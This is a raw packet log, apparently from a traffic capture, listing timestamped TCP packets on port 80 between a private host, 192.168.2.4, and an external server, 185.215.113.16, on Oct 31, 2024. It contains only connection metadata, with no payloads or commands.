Oct 31, 2024 05:07:11.178433895 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178448915 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.178457022 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.178479910 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.178509951 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295176029 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295202971 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295213938 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295228958 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295243025 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295281887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295293093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295305967 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295367002 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295383930 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295397043 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295408964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295394897 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295396090 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295396090 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295532942 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295541048 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295541048 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295541048 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295546055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295557022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295562029 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295577049 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295591116 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295602083 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295613050 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295618057 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295630932 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295641899 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295650005 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295663118 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295674086 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295685053 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295686007 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295700073 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295717001 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295739889 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295867920 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295880079 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295898914 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295903921 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295909882 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295913935 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295914888 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295922995 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295934916 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295947075 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295958996 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295962095 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.295972109 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.295980930 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296015978 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296046972 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296056986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296067953 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296084881 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296097040 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296103001 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296109915 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296122074 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296123981 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296139002 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296150923 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296168089 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296176910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296196938 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296224117 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296257973 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296271086 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296282053 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296294928 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296314955 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296317101 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296333075 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296346903 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296360016 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296354055 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296372890 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296380043 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296401978 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296407938 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296422005 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296426058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296433926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296463966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296464920 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296475887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296487093 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296489000 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296505928 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296525002 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296556950 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296567917 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296580076 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296591043 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296600103 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296610117 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296629906 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296634912 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296648026 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296659946 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296660900 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296674967 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296685934 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296696901 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.296698093 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296725988 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.296745062 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.413444042 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413460016 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413482904 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413495064 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413508892 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413520098 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413532019 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413546085 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413556099 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413566113 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413578987 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413592100 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413644075 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413655043 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413651943 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.413651943 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.413667917 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413681984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413690090 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.413691044 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.413696051 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413708925 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413714886 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.413722992 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413748026 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.413772106 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.413780928 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413810968 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413820982 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.413821936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413849115 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.413866997 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.413953066 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413964987 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413979053 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.413990974 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.413995981 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414010048 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414016008 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414021969 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414076090 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414084911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414098978 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414098978 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414109945 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414124012 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414149046 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414186954 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414196968 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414237976 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414314985 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414326906 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414340973 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414355040 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414376974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414381981 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414417982 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414433956 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414447069 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414458990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414479971 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414520979 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414544106 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414556980 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414570093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414582014 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414582968 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414594889 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414613962 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414644957 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414706945 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414725065 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414736986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414747000 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414748907 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414762020 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414777994 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414781094 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414802074 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414807081 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414815903 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414827108 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414839983 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414845943 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414860010 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414870977 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414875031 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414887905 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414901018 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414904118 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414912939 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414920092 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414937019 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414938927 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414949894 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414962053 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414969921 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.414974928 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414987087 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.414989948 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.415007114 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415019989 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415026903 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.415031910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415044069 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415047884 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.415056944 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415067911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415080070 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415091038 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415091038 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.415117025 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415121078 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.415134907 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415139914 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.415150881 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415162086 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415173054 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.415190935 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.415205956 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415219069 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415219069 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.415236950 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415247917 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.415251017 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415262938 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415277004 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415278912 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.415282965 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415290117 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.415298939 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.415338039 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.531934023 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.531956911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532053947 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532064915 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532075882 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532115936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532126904 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532138109 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532150030 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532181025 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532191038 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532198906 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532198906 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532198906 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532198906 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532198906 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532210112 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532255888 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532259941 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532259941 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532268047 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532280922 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532293081 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532294035 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532305956 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532316923 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532331944 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532352924 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532354116 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532365084 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532376051 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532394886 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532401085 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532407045 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532418966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532428980 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532449007 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532475948 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532483101 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532512903 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532522917 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532525063 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532567024 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532567978 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532579899 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532592058 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532607079 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532635927 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532712936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532723904 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532735109 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532752991 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532784939 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532790899 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532798052 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532809019 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532819986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532830000 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532830954 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532843113 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532849073 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532877922 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532877922 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532890081 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.532910109 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.532952070 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533011913 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533056974 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533112049 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533123970 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533129930 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533139944 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533157110 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533169031 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533171892 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533181906 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533186913 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533202887 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533209085 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533221006 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533231974 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533238888 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533248901 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533252001 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533263922 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533278942 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533302069 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533334017 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533345938 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533353090 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533376932 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533387899 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533394098 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533395052 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533400059 CET	80	49803	185.215.113.16	192.168.2.4
